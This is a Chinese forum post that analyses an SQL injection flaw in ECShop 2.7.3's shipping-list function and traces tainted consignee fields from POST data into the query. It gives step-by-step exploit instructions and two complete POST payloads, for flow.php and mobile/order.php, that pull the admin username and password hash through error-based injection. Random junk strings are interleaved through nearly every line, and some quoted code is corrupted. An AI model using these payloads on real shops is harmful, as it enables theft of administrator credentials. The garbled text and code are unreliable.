前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
* f) Q; w w8 y/ u( m1 d- ]
9 i+ |& \, [: Y M: t 漏洞关键文件:
$ m" S# R( o" B+ v! p6 n/ |8 f8 @) ?* ]" o. ?; g8 k0 C
/includes/lib_order.php
' V) t1 A: N, d* E
]5 f8 `+ M4 o0 d8 E0 P# X 关键函数:
% A h) p: }' D9 @# Y2 F O/ O6 t' L! I& j! R! C/ R
5 u4 k2 p$ w/ }. j- l3 n3 D
; P- f- @7 ^: |/ R4 x01 function available_shipping_list($region_id_list) * s3 r7 o ?3 y% g9 S
, s3 P; S S# h# j' ^( d$ d( y
02 {
& u+ U t- M+ f7 o
* k* F1 C" Y- }9 f. q03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
6 K8 |% U$ Z% i3 @$ B1 h2 ]& j, I# m( A( O; I' `$ `. e
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
- A. D" O0 [# a4 }+ G4 r* z6 i8 M! B/ J7 b4 b
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
! E$ q, E; ?2 c/ v; p% ?) V
1 R d& m" r3 t( V06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
+ h6 R* Y/ w% O6 C- l$ a
' N4 e' y. M1 l8 ]: T4 m- `' Q5 U07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
( K# C, K1 S* d7 L( y
( i" H; V& g( G' q08 'WHERE r.region_id ' . db_create_in($region_id_list) . ' @1 d. e' f3 d8 G" i) W+ S
8 [9 P. \* `0 T9 ^5 k# F/ k
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; % |. V) o' i& O, ?
6 d% c5 V6 o. p$ i: o0 v; _8 c
10 6 a" z& [4 x0 t( {8 P
3 m/ F( q4 g! W3 ~3 o
11 return $GLOBALS['db']->getAll($sql); * S! G9 n, v$ h+ ~4 E
3 n) z M- |! I
12 }
+ s( K: [2 q2 [; U( @" j) W4 `1 L% {2 \7 l4 [" [' {% A
显然对传入的参数没有任何过滤就带入了查询语句。" K3 w1 {* { J K9 E3 M
( z4 ^/ D. n1 I! A8 X0 ? w# F下面我们追踪这个函数在flow.php中:: ]$ M/ W0 ?( k' v
第531行: 5 H& {6 D1 v1 C* }% K" a
# g6 m+ J& W! L" v3 t; s! w' v: k1 $shipping_list = available_shipping_list($region); # K& k8 q' R% h4 U
, }5 t, j: N5 ~/ W8 f
+ K9 Y/ Z8 E- n: s& g) `& u. \" {( k2 L, |/ Y7 C. [) W
' ^2 [( q9 |; {: Z, g' c& g# b+ s$ o1 A( T, E# t$ F0 z
再对传入变量进行追踪:1 Y/ Z! y0 i. n+ N! S
# i. G9 m2 P# {6 A8 ]+ w3 A第530行:
# |, E) ]) W9 l* I
; u' {8 B( V4 O5 a$ Z, f( Y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
, B3 U# ~: J- E: W. G% P6 H3 Y
# }" b' D! l. x, M; l! B4 k5 C
0 A) H+ G, k' S$ j5 m
5 C+ P, S; y2 k * ]- |/ ~8 V/ j% J
, y9 [6 _- {' W4 Q! [( d第473行:
+ u" l0 {: D1 `2 H, _! _' l( k$ r0 |: a! D8 }9 A9 m2 h* V
1 $consignee = get_consignee($_SESSION['user_id']);
2 V# w* f- j- L' K; K
% t! ^6 g3 W: B7 V" N到了一个关键函数:
. K. {" a: H7 G1 W o; g! l6 E; E# H7 k" _
/includes/lib_order.php
5 k' R8 I& S/ A0 M* f+ N$ {# Q
8 j g2 ?) \1 N& F3 D, ?; c1 \ - n* L' D: _# l$ A
( g9 E$ p( v% u4 n: ?/ J ; i* s: c- V- ~3 f
2 v2 Y& e5 Q1 }0 B4 Z& v* D( q W01 function get_consignee($user_id)
Z: d& {/ k$ w; k
% J5 L$ B" o8 o6 u6 C3 C% i02 {
* T& W p% a8 u- Y" Q6 i7 s8 K# X+ [( O- M2 c
03 if (isset($_SESSION['flow_consignee'])) + d8 K& L1 C) N; h% G, J* y
. d# D* w7 l5 q! {' U04 { . E6 b* f2 |, j; e# |' C
; A5 v) `- {, ^8 b05 /* 如果存在session,则直接返回session中的收货人信息 */
* U0 H% b, e: H" }% C/ }
7 a9 t2 z* q3 q06 - u- {% f& Y7 F: A1 ~
; F& U; ^* a% j$ ^& [8 r# U
07 return $_SESSION['flow_consignee'];
& K6 b! H; P, l5 `3 q1 |. N
/ c; s) T" Y8 B5 P3 d/ B$ i1 {08 }
/ T( O0 J1 y6 R$ r2 o; R! L- i
( N- p+ c1 Y! m2 ^+ X& N09 else
! M( ~4 b. w) \/ q# R- v# i# M. A- V% R. N c
10 { 6 p: b+ @9 _/ J% [# ^
6 x) v0 l& z% }2 G0 w. u: e& r
11 /* 如果不存在,则取得用户的默认收货人信息 */
& f1 }5 r/ T3 d$ B
1 y0 M! {# x2 r* A12 $arr = array();
3 L5 K( z% ~1 d( T
* Z2 v/ u3 z9 B ~% q# }13
! {! D& p8 ?9 S
+ M3 H; N! z/ Z! D0 ?, K14 if ($user_id > 0) 3 W# } L# i$ H* c a: r
) E) u) B$ E8 T8 N" p15 {
* @8 _) I2 W; E, ^+ N$ I
4 W2 A- d' l- \/ V4 |16 /* 取默认地址 */
2 X7 F5 `% R* D `! I
5 l, y4 d1 l) G1 S8 K17 $sql = "SELECT ua.*".
: G) x, H. g. ^% x! ~
& {8 }+ l9 Z3 A" n- I18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
8 w2 A: k9 F) r6 X' a
# |+ ]. P, e: C19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; % f6 `0 J7 b% O4 k
( g( y7 s! t- C3 `7 [
20
o% A- k) K3 n$ A* G
! y7 \/ c# s9 P3 @# H- Y21 $arr = $GLOBALS['db']->getRow($sql); 4 B( y: }, K: G0 t# B) l- g
, y9 A# C, ]* e# T( M& A22 }
9 Z) d# Y8 A4 a4 d$ s+ i: K1 [0 ~' o6 g1 W8 d9 n9 s
23
( H5 H. h! {, o {+ Z8 l4 V7 D7 S1 E: @% L4 y; }! ?! O
24 return $arr;
- ]: G! Y7 d% E6 }/ O/ N# C @9 L" {! [
25 } 8 ^) ?/ ]: o" v V. X8 \2 z3 s& |6 f
& z5 {2 [1 V/ t# d26 } ], l- G t! @. x
+ [6 I7 x( ~* ^+ \, X显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
' d) j/ Q' W* |) V# y4 ?8 I# Z. G2 @2 f/ R1 M
& P, e, E/ i2 B
5 R5 x1 n* s {7 Z
关键点:
8 X2 Z" D$ ]; b; s0 L
6 t( c* Q3 L: M( `7 `( Z第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 T2 ?5 w6 g) u9 C
: L+ s7 B8 |* X# V# X7 q这里对传入参数反转义存入$_SESSION中。7 w! w8 r& Z5 P; w; ~; I9 y
" e# f b3 s) S3 Q, P( ^
% f, y8 N# ^% Z& ^7 r& Q9 @
: g7 Q3 }8 s, C' b; l: m, a9 s
然后看下:
5 a; a4 n! d% N7 j0 }8 E
2 N2 g$ w* [9 g4 B# ?; ~ N. o & j/ x; W& P* X& i9 u
( E5 ]2 p6 ~4 ?! Q3 u
) X9 }* h( s1 @
# w5 ]1 I5 D% b1 ]
01 $consignee = array( 3 U; n5 U3 p" E J
9 w, p% @, [% ?: W9 Y$ `) Z02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), : e* A, p2 K' |& ?; G7 L2 _
+ b+ \* c% U$ e03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), / n" e6 y& j( C
- X% h4 J6 w3 h. r5 L' p9 h y* j
04 'country' => empty($_POST['country']) ? '' _POST['country'], & O+ E c2 @8 o0 }1 p0 X# K
" G3 W+ d3 g, B$ y" r# G+ G
05 'province' => empty($_POST['province']) ? '' _POST['province'], ' m& M) ^) u6 G# z8 a# b/ _
$ [2 Y& u# D- Z& t6 z! H" y06 'city' => empty($_POST['city']) ? '' _POST['city'], " D/ v1 s( B7 u) o! \5 k2 x2 j
* p" E) B& C# e
07 'district' => empty($_POST['district']) ? '' _POST['district'], 8 C% R/ C+ j' B5 H" t2 H9 W
+ M1 t% W& ?7 B8 u- F' C
08 'email' => empty($_POST['email']) ? '' _POST['email'], : f1 |( u: ^4 z+ ]
, I+ |4 B. t: w7 n* A3 p
09 'address' => empty($_POST['address']) ? '' _POST['address'],
0 y9 E1 e/ a- D* M) _- n1 M0 f! U- ~2 c( b( l) n# T6 w" P
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
" T; {& s p/ `4 B9 c: R
; j; B' B& v- T2 _. f7 ]& ^11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
5 E5 l4 F9 B& }( N. _3 R3 u' @# L! ]- N% p- m! `5 B8 [$ o" u; [" g
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), . o3 [2 |( D! L' r7 [" X
( j6 q. x& M2 B* K$ L( X
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], " k- g& b: u0 t& i6 q/ h7 b
u/ J1 E! s% K( _, W1 W2 c1 U
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], % r& @2 t6 P" w9 X) l0 g6 b
" R( c5 L6 I+ h, K& L; Q1 F5 J1 s
15 );
" P1 w+ V: g: j. a- H
/ K) f- _1 ]/ H6 ~, S7 u好了注入就这样出现了。" b4 O; _1 `+ |1 a
. T- u8 {( u6 Q/ ?- |==================
0 x: `$ A$ U$ e, u Y; ^: N
$ W% ]4 \8 l# |+ I k0 A0 t注入测试:
' Y: L( Q" l1 q4 l( ]9 w
. F8 _4 ^: g( J" R) a环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)' m' S6 @8 r* H6 R( Z
( Z4 B8 @- ?& |4 X9 S测试程序:ECShop_V2.7.3_UTF8_release1106
+ C, g; f s, O, O0 E8 m* U# L) q1 [. r. m' \4 q
m6 N) M0 I* }) v k7 {" P6 B( ]) ^' k+ x% [+ N+ |: o& ~
1.首先需要点击一个商品加入购物车
) y2 w- ~6 m3 }3 r3 b! t6 E# T3 ~9 D# O# `# K+ l' t
2.注册一个会员帐号
4 b6 c! r; k* M4 Q0 y6 s! N
: M4 u) ^8 C9 [" D* C3.post提交数据
) h j0 t" M9 m; `2 M* z6 [+ v
" O- A& T% E2 _4 R! p1 k' K+ A5 h- w& Y4 T3 B; E2 b5 ^
1 http://127.0.0.1/ecshop/flow.php
0 E% {) [% L2 E; {( t
+ k% C# b, ~6 {9 k# q2
" O* X9 L/ j3 s3 P# V! o% U* K# J& A
+ F& x( G/ w* R3 J3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 ]; R( j# d- j, b举一反三,我们根据这个漏洞我们可以继续深入挖掘:
y7 s( s1 K( H& H4 f; X6 X2 ~' C1 o4 @) f: M
我们搜寻关键函数function available_shipping_list()& c, ^9 I; ~8 n' P4 s- P$ H' ~
) x& W5 ]% D/ H
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同9 t2 @2 Z. G4 G) I& W
( f! U! [; f/ K5 u. X. G% K9 A利用exp:* q* g) |( t8 ~) u: P" o8 h
6 D0 r# i$ s( e# n1.点击一个商品,点击购买商标! z& u8 v2 O1 g5 B- |( q
3 x5 Z+ L5 ^' v; ?; v3 ]+ U
2.登录会员帐号8 S6 \$ E$ P7 ?6 \- n
5 V- v/ K3 m+ E, j+ c2 [5 ?) C. H
3.post提交:- v4 M9 @, ^: J1 I7 _$ Z1 S/ M
8 f9 ^7 v% W& N7 g8 ]http://127.0.0.1/ecshop/mobile/order.php* J# c. d* a, \8 D. f9 @5 F# m
/ _) W: H! e( A, `4 C7 c
; q. K, X* i' j1 R/ x6 |5 h6 U! A0 {5 K- T2 w7 r
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
$ y# i. x' S7 }, i1 b5 \1 o+ {# [ l5 r1 K6 c4 e- [; Z
|